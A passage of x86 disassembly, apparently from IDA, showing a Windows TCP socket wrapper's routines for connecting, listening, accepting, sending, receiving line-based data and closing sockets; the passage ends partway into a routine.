		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C4590	proc near		; CODE XREF: sub_13AB9A0j

var_834		= byte ptr -834h
var_820		= byte ptr -820h
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	43ACEBh
		push	eax
		mov	large fs:0, esp
		sub	esp, 814h
		push	esi
		mov	esi, ecx
		call	sub_13ABD5B
		test	al, al
		jz	loc_13C4641
		mov	al, [esi+80Bh]
		test	al, al
		jz	short loc_13C45C9
		mov	al, 1
		jmp	short loc_13C4641
; ---------------------------------------------------------------------------


loc_13C45C9:				; CODE XREF: sub_13C4590+33j
		push	ebx
		push	edi
		mov	edi, [esp+82Ch+arg_0]
		push	800h
		lea	eax, [esi+6]
		push	edi
		push	eax
		call	strncpy	; strncpy
		mov	ebx, [esp+838h+arg_4]
		add	esp, 0Ch
		lea	ecx, [esp+82Ch+var_820]
		mov	[esi+4], bx
		call	sub_13AB586
		mov	ecx, [esp+82Ch+arg_C]
		mov	edx, [esp+82Ch+arg_8]
		push	ecx
		push	edx
		push	ebx
		push	edi
		lea	ecx, [esp+83Ch+var_820]
		mov	[esp+83Ch+var_4], 0
		call	sub_13ABA36
		push	eax
		mov	ecx, esi
		call	sub_13AC4C7
		lea	ecx, [esp+840h+var_834]
		mov	bl, al
		mov	[esp+840h+var_18], 0FFFFFFFFh
		call	sub_13ABC6B
		mov	al, bl
		pop	edi
		pop	ebx


loc_13C4641:				; CODE XREF: sub_13C4590+25j
					; sub_13C4590+37j
		mov	ecx, [esp+824h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 820h
		retn	10h
sub_13C4590	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C46A0	proc near		; CODE XREF: sub_13ABD5Bj
		mov	al, ds:byte_443DE0
		retn
sub_13C46A0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C46C0	proc near		; CODE XREF: sub_13AC4C7j

var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_128		= byte ptr -128h
var_126		= word ptr -126h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= byte ptr  4

		sub	esp, 11Ch
		push	ebp
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_13ABD5B
		test	al, al
		jnz	short loc_13C46E0
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_13C46E0:				; CODE XREF: sub_13C46C0+12j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_13C4881
		push	6
		push	1
		push	2
		call	socket	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_13C471A
		mov	ecx, esi
		call	sub_13AB8DD
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_13C471A:				; CODE XREF: sub_13C46C0+43j
		mov	al, [esp+134h+arg_0]
		test	al, al
		jnz	short loc_13C4729
		push	1
		jmp	short loc_13C472B
; ---------------------------------------------------------------------------


loc_13C4729:				; CODE XREF: sub_13C46C0+63j
		push	0


loc_13C472B:				; CODE XREF: sub_13C46C0+67j
		mov	ecx, esi
		call	sub_13ABCBB
		mov	edi, [esp+138h+var_8]
		xor	eax, eax
		mov	[esp+138h+var_124], eax
		push	edi
		mov	[esp+13Ch+var_120], eax
		mov	[esi+4], di
		mov	[esp+13Ch+var_11C], eax
		mov	word ptr [esp+13Ch+var_124], 2
		mov	[esp+13Ch+var_118], eax
		call	htons	; htons
		mov	ecx, [esp+13Ch+var_10]
		mov	[esp+13Ch+var_126], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+13Ch+var_128]
		push	10h
		push	edx
		push	eax
		mov	[esp+148h+var_124], ecx
		mov	[esi+4], di
		call	connect	; connect
		mov	ebp, WSAGetLastError
		test	eax, eax
		jge	short loc_13C47CC
		call	ebp ; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_13C47BD
		call	ebp ; WSAGetLastError
		cmp	eax, 0Bh
		jz	short loc_13C47BD
		call	ebp ; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_13C47BD
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_13C47BD:				; CODE XREF: sub_13C46C0+D6j
					; sub_13C46C0+DDj ...
		mov	al, [esp+148h+var_14]
		test	al, al
		jnz	loc_13C487A


loc_13C47CC:				; CODE XREF: sub_13C46C0+CDj
		mov	eax, [esi+806h]
		xor	ecx, ecx
		lea	edx, [esp+148h+var_13C]
		mov	edi, select
		mov	[esp+148h+var_13C], ecx
		push	edx
		mov	[esp+14Ch+var_138], ecx
		push	ecx
		lea	ecx, [esp+150h+var_124]
		mov	[esp+150h+var_120], eax
		push	ecx
		inc	eax
		push	0
		push	eax
		mov	[esp+15Ch+var_13C], 0Ah
		mov	[esp+15Ch+var_124], 1
		call	edi ; select
		test	eax, eax
		jge	short loc_13C4840


loc_13C480B:				; CODE XREF: sub_13C46C0+17Ej
		call	ebp ; WSAGetLastError
		call	ebp ; WSAGetLastError
		cmp	eax, 4
		jnz	short loc_13C4855
		mov	eax, [esp+15Ch+var_150]
		test	eax, eax
		jnz	short loc_13C4824
		mov	eax, [esp+15Ch+var_14C]
		test	eax, eax
		jz	short loc_13C4855


loc_13C4824:				; CODE XREF: sub_13C46C0+15Aj
		mov	ecx, [esi+806h]
		lea	edx, [esp+15Ch+var_150]
		push	edx
		lea	eax, [esp+160h+var_138]
		push	0
		push	eax
		inc	ecx
		push	0
		push	ecx
		call	edi ; select
		test	eax, eax
		jl	short loc_13C480B


loc_13C4840:				; CODE XREF: sub_13C46C0+149j
		mov	al, [esp+170h+var_38]
		test	al, al
		jnz	short loc_13C4871
		mov	edx, [esp+170h+var_3C]
		push	edx
		jmp	short loc_13C4873
; ---------------------------------------------------------------------------


loc_13C4855:				; CODE XREF: sub_13C46C0+152j
					; sub_13C46C0+162j
		mov	ecx, esi
		call	sub_13AB8DD
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_13C4871:				; CODE XREF: sub_13C46C0+189j
		push	0


loc_13C4873:				; CODE XREF: sub_13C46C0+193j
		mov	ecx, esi
		call	sub_13ABCBB


loc_13C487A:				; CODE XREF: sub_13C46C0+106j
		mov	byte ptr [esi+80Bh], 1


loc_13C4881:				; CODE XREF: sub_13C46C0+28j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		add	esp, 11Ch
		retn	10h
sub_13C46C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C4910	proc near		; CODE XREF: sub_13AB8DDj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_13C492A
		cmp	eax, 0FFFFFFFFh
		jz	short loc_13C492A
		push	eax
		call	closesocket	; closesocket


loc_13C492A:				; CODE XREF: sub_13C4910+Cj
					; sub_13C4910+11j
		mov	ecx, esi
		call	sub_13AB775
		mov	byte ptr [esi+80Bh], 0
		pop	esi
		retn
sub_13C4910	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C4950	proc near		; CODE XREF: sub_13AB775j
		push	ebp
		mov	edx, ecx
		push	esi
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, offset byte_446F80
		xor	eax, eax
		mov	[edx+806h], ecx
		mov	word ptr [edx+4], 0
		lea	ebp, [edx+6]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		mov	byte ptr [edx+80Bh], 0
		mov	byte ptr [edx+80Ch], 0
		pop	ebp
		retn
sub_13C4950	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C49C0	proc near		; CODE XREF: sub_13AB888j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		call	sub_13ABD5B
		test	al, al
		jnz	short loc_13C49D6
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_13C49D6:				; CODE XREF: sub_13C49C0+Dj
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_13C4A8F
		push	6
		push	1
		push	2
		call	socket	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_13C4A0B
		mov	ecx, esi
		call	sub_13AB8DD
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_13C4A0B:				; CODE XREF: sub_13C49C0+39j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		call	htons	; htons
		mov	word ptr [esp+14h+var_10+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	eax
		mov	[esp+20h+var_C], 0
		call	bind	; bind
		test	eax, eax
		jz	short loc_13C4A64
		mov	ecx, esi
		call	sub_13AB8DD
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_13C4A64:				; CODE XREF: sub_13C49C0+92j
		mov	ecx, [esi+806h]
		push	32h
		push	ecx
		call	listen	; listen
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_13C4A88
		mov	ecx, esi
		call	sub_13AB8DD
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_13C4A88:				; CODE XREF: sub_13C49C0+B6j
		mov	byte ptr [esi+80Bh], 1


loc_13C4A8F:				; CODE XREF: sub_13C49C0+1Ej
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn	4
sub_13C49C0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C4AE0	proc near		; CODE XREF: sub_13ABF81j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_13ABD5B
		test	al, al
		jnz	short loc_13C4AFE
		pop	edi
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_13C4AFE:				; CODE XREF: sub_13C4AE0+11j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	short loc_13C4B15
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_13C4B15:				; CODE XREF: sub_13C4AE0+26j
		mov	al, [esi+80Ch]
		test	al, al
		jnz	short loc_13C4B91
		call	sub_13ABD5B
		test	al, al
		jz	short loc_13C4B84
		mov	edi, select


loc_13C4B2E:				; CODE XREF: sub_13C4AE0+A2j
		mov	eax, [esi+806h]
		lea	ecx, [esp+128h+var_11C]
		push	ecx
		mov	[esp+12Ch+var_100], eax
		push	0
		lea	edx, [esp+130h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		mov	[esp+13Ch+var_104], 1
		mov	[esp+13Ch+var_11C], 0
		mov	[esp+13Ch+var_118], 64h
		call	edi ; select
		test	eax, eax
		jz	short loc_13C4B7B
		mov	ecx, [esi+806h]
		lea	eax, [esp+128h+var_104]
		push	eax
		push	ecx
		call	near ptr 13E1380h
		test	eax, eax
		jnz	short loc_13C4B91


loc_13C4B7B:				; CODE XREF: sub_13C4AE0+84j
		call	sub_13ABD5B
		test	al, al
		jnz	short loc_13C4B2E


loc_13C4B84:				; CODE XREF: sub_13C4AE0+46j
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_13C4B91:				; CODE XREF: sub_13C4AE0+3Dj
					; sub_13C4AE0+99j
		mov	eax, [esp+128h+arg_4]
		mov	[esp+128h+var_120], 0FFFFFFFFh
		test	eax, eax
		jz	short loc_13C4BB4
		lea	edx, [esp+128h+var_11C]
		mov	[esp+128h+var_11C], 10h
		push	edx
		push	eax
		jmp	short loc_13C4BC6
; ---------------------------------------------------------------------------


loc_13C4BB4:				; CODE XREF: sub_13C4AE0+C2j
		lea	ecx, [esp+128h+var_11C]
		lea	edx, [esp+128h+var_114]
		push	ecx
		mov	[esp+12Ch+var_11C], 10h
		push	edx


loc_13C4BC6:				; CODE XREF: sub_13C4AE0+D2j
		mov	eax, [esi+806h]
		push	eax
		call	accept	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[esp+128h+var_120], eax
		jnz	short loc_13C4BE9
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_13C4BE9:				; CODE XREF: sub_13C4AE0+FAj
		mov	esi, [esp+128h+arg_0]
		lea	ecx, [esp+128h+var_120]
		push	ecx
		mov	ecx, esi
		call	sub_13AC4EA
		mov	dl, [esp+128h+arg_8]
		pop	edi
		mov	[esi+80Dh], dl
		mov	al, 1
		pop	esi
		add	esp, 120h
		retn	0Ch
sub_13C4AE0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C4C70	proc near		; CODE XREF: sub_13AC4EAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	edx, [eax]
		mov	[ecx+806h], edx
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		setnz	al
		mov	[ecx+80Bh], al
		retn	4
sub_13C4C70	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C4CA0	proc near		; CODE XREF: sub_13ABD60j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	0
		push	edx
		push	eax
		call	sub_13ABF3B
		retn	0Ch
sub_13C4CA0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C4CD0	proc near		; CODE XREF: sub_13ABF3Bj

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 210h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		cmp	dword ptr [esi+806h], 0FFFFFFFFh
		jz	loc_13C4E34
		mov	al, [esi+80Bh]
		test	al, al
		jz	loc_13C4E34
		mov	edi, GetTickCount
		call	edi ; GetTickCount
		mov	ebp, eax
		mov	al, [esi+80Dh]
		test	al, al
		jnz	loc_13C4DCC
		mov	ebx, [esp+220h+arg_8]
		test	ebx, ebx
		jz	loc_13C4DCC
		call	sub_13ABD5B
		test	al, al
		jz	loc_13C4DCC


loc_13C4D2B:				; CODE XREF: sub_13C4CD0+F6j
		mov	eax, [esi+806h]
		mov	ecx, 1
		mov	[esp+220h+var_100], eax
		mov	[esp+220h+var_104], ecx
		mov	[esp+220h+var_204], eax
		mov	[esp+220h+var_208], ecx
		mov	[esp+220h+var_210], 0
		mov	[esp+220h+var_20C], 64h
		call	edi ; GetTickCount
		sub	eax, ebp
		cmp	eax, ebx
		ja	loc_13C4E34
		lea	eax, [esp+220h+var_210]
		lea	ecx, [esp+220h+var_208]
		push	eax
		mov	eax, [esi+806h]
		push	ecx
		lea	edx, [esp+228h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		call	select	; select
		test	eax, eax
		jz	short loc_13C4DBF
		mov	edx, [esi+806h]
		lea	ecx, [esp+220h+var_208]
		push	ecx
		push	edx
		call	near ptr 13E1380h
		test	eax, eax
		jnz	loc_13C4E34
		mov	ecx, [esi+806h]
		lea	eax, [esp+220h+var_104]
		push	eax
		push	ecx
		call	near ptr 13E1380h
		test	eax, eax
		jnz	short loc_13C4DCC


loc_13C4DBF:				; CODE XREF: sub_13C4CD0+BCj
		call	sub_13ABD5B
		test	al, al
		jnz	loc_13C4D2B


loc_13C4DCC:				; CODE XREF: sub_13C4CD0+39j
					; sub_13C4CD0+48j ...
		call	sub_13ABD5B
		test	al, al
		jz	short loc_13C4E34
		mov	edx, [esp+220h+arg_4]
		mov	eax, [esp+220h+arg_0]
		mov	ecx, [esi+806h]
		push	0
		push	edx
		push	eax
		push	ecx
		call	recv	; recv
		mov	ecx, [esp+220h+arg_C]
		test	ecx, ecx
		jz	short loc_13C4E01
		mov	[ecx], eax


loc_13C4E01:				; CODE XREF: sub_13C4CD0+12Dj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_13C4E19
		test	eax, eax
		jz	short loc_13C4E19
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_13C4E19:				; CODE XREF: sub_13C4CD0+134j
					; sub_13C4CD0+138j
		call	WSAGetLastError	; WSAGetLastError
		pop	edi
		cmp	eax, 2733h
		pop	esi
		pop	ebp
		setz	al
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_13C4E34:				; CODE XREF: sub_13C4CD0+13j
					; sub_13C4CD0+21j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 210h
		retn	10h
sub_13C4CD0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C4EB0	proc near		; CODE XREF: sub_13ABA18j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [ecx+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_13C4F01
		mov	dl, [ecx+80Bh]
		test	dl, dl
		jz	short loc_13C4F01
		mov	ecx, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	0
		push	ecx
		push	edx
		push	eax
		call	send	; send
		mov	ecx, [esp+arg_8]
		test	ecx, ecx
		jz	short loc_13C4EE2
		mov	[ecx], eax


loc_13C4EE2:				; CODE XREF: sub_13C4EB0+2Ej
		cmp	eax, 0FFFFFFFFh
		jz	short loc_13C4EF0
		test	eax, eax
		jz	short loc_13C4EF0
		mov	al, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_13C4EF0:				; CODE XREF: sub_13C4EB0+35j
					; sub_13C4EB0+39j
		call	WSAGetLastError	; WSAGetLastError
		cmp	eax, 2733h
		setz	al
		retn	0Ch
; ---------------------------------------------------------------------------


loc_13C4F01:				; CODE XREF: sub_13C4EB0+9j
					; sub_13C4EB0+13j
		xor	al, al
		retn	0Ch
sub_13C4EB0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C4F30	proc near		; CODE XREF: sub_13ABDB0j

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+14h+var_4], esi
		call	sub_13ABD5B
		test	al, al
		jnz	short loc_13C4F4C
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_13C4F4C:				; CODE XREF: sub_13C4F30+12j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_13C4F62


loc_13C4F58:				; CODE XREF: sub_13C4F30+6Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_13C4F62:				; CODE XREF: sub_13C4F30+26j
		mov	eax, [esp+14h+arg_4]
		mov	ebp, [esp+14h+arg_0]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+14h+arg_0], 1
		jle	short loc_13C4FC6
		mov	edi, ebp


loc_13C4F7B:				; CODE XREF: sub_13C4F30+94j
		cmp	edi, ebx
		jz	short loc_13C4FC6
		cmp	byte ptr [esp+14h+arg_0], bl
		jz	short loc_13C4FC6
		call	sub_13ABD5B
		test	al, al
		jz	short loc_13C4FC6
		mov	ecx, [esp+14h+var_4]
		push	ebx
		push	1
		push	edi
		call	sub_13ABD60
		test	al, al
		jz	short loc_13C4F58
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_13C4FB1
		cmp	al, 0Dh
		jz	short loc_13C4FB1
		cmp	al, bl
		jnz	short loc_13C4FB9


loc_13C4FB1:				; CODE XREF: sub_13C4F30+77j
					; sub_13C4F30+7Bj
		mov	[esi+ebp-1], bl
		mov	[esp+20h+var_8], bl


loc_13C4FB9:				; CODE XREF: sub_13C4F30+7Fj
		mov	ecx, [esp+20h+var_4]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_13C4F7B


loc_13C4FC6:				; CODE XREF: sub_13C4F30+47j
					; sub_13C4F30+4Dj ...
		mov	edx, [esp+20h+var_4]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
sub_13C4F30	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C5010	proc near		; CODE XREF: sub_13AC580j

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+14h+var_4], esi
		call	sub_13ABD5B
		test	al, al
		jnz	short loc_13C502C
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_13C502C:				; CODE XREF: sub_13C5010+12j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_13C5042


loc_13C5038:				; CODE XREF: sub_13C5010+6Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_13C5042:				; CODE XREF: sub_13C5010+26j
		mov	eax, [esp+14h+arg_4]
		mov	ebp, [esp+14h+arg_0]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+14h+arg_0], 1
		jle	short loc_13C50AD
		mov	edi, ebp


loc_13C505B:				; CODE XREF: sub_13C5010+9Bj
		cmp	edi, ebx
		jz	short loc_13C50AD
		cmp	byte ptr [esp+14h+arg_0], bl
		jz	short loc_13C50AD
		call	sub_13ABD5B
		test	al, al
		jz	short loc_13C50AD
		mov	ecx, [esp+14h+var_4]
		push	ebx
		push	1
		push	edi
		call	sub_13ABD60
		test	al, al
		jz	short loc_13C5038
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_13C508D
		cmp	al, bl
		jnz	short loc_13C50A0


loc_13C508D:				; CODE XREF: sub_13C5010+77j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_13C509A
		mov	[esi+ebp-1], bl
		jmp	short loc_13C509C
; ---------------------------------------------------------------------------


loc_13C509A:				; CODE XREF: sub_13C5010+82j
		mov	[edi], bl


loc_13C509C:				; CODE XREF: sub_13C5010+88j
		mov	[esp+20h+var_8], bl


loc_13C50A0:				; CODE XREF: sub_13C5010+7Bj
		mov	ecx, [esp+20h+var_4]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_13C505B


loc_13C50AD:				; CODE XREF: sub_13C5010+47j
					; sub_13C5010+4Dj ...
		mov	edx, [esp+20h+var_4]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
sub_13C5010	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C50F0	proc near		; CODE XREF: sub_13AB482j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		call	sub_13ABD5B
		test	al, al
		jnz	short loc_13C5102
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_13C5102:				; CODE XREF: sub_13C50F0+Aj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_13C5113
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_13C5113:				; CODE XREF: sub_13C50F0+1Bj
		mov	ecx, [esp+4+arg_4]
		mov	edx, [esp+4+arg_0]
		push	ecx
		push	edx
		push	eax
		call	getsockname	; getsockname
		pop	esi
		retn	8
sub_13C50F0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C5140	proc near		; CODE XREF: sub_13ABC93j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		call	sub_13ABD5B
		test	al, al
		jnz	short loc_13C5152
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_13C5152:				; CODE XREF: sub_13C5140+Aj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_13C5163
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_13C5163:				; CODE XREF: sub_13C5140+1Bj
		mov	ecx, [esp+4+arg_4]
		mov	edx, [esp+4+arg_0]
		push	ecx
		push	edx
		push	eax
		call	getpeername	; getpeername
		pop	esi
		retn	8
sub_13C5140	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C5190	proc near		; CODE XREF: sub_13AC03Fj

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h

		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		mov	al, [esi+80Ch]
		cmp	al, cl
		mov	eax, [esi+806h]
		jnz	short loc_13C51CF
		cmp	eax, 0FFFFFFFFh
		jz	short loc_13C51C5
		cmp	[esi+80Bh], cl
		jz	short loc_13C51C5
		mov	eax, 1
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_13C51C5:				; CODE XREF: sub_13C5190+1Ej
					; sub_13C5190+26j
		xor	eax, eax
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_13C51CF:				; CODE XREF: sub_13C5190+19j
		lea	edx, [esp+110h+var_10C]
		mov	[esp+110h+var_100], eax
		push	edx
		lea	edx, [esp+114h+var_104]
		push	ecx
		push	edx
		inc	eax
		push	ecx
		push	eax
		mov	[esp+124h+var_104], 1
		mov	[esp+124h+var_10C], ecx
		mov	[esp+124h+var_108], ecx
		call	select	; select
		test	eax, eax
		jnz	short loc_13C5205
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_13C5205:				; CODE XREF: sub_13C5190+69j
		mov	ecx, [esi+806h]
		lea	eax, [esp+110h+var_104]
		push	eax
		push	ecx
		call	near ptr 13E1380h
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
sub_13C5190	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C5260	proc near		; CODE XREF: sub_13ABAE5j

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h

		sub	esp, 10Ch
		push	esi
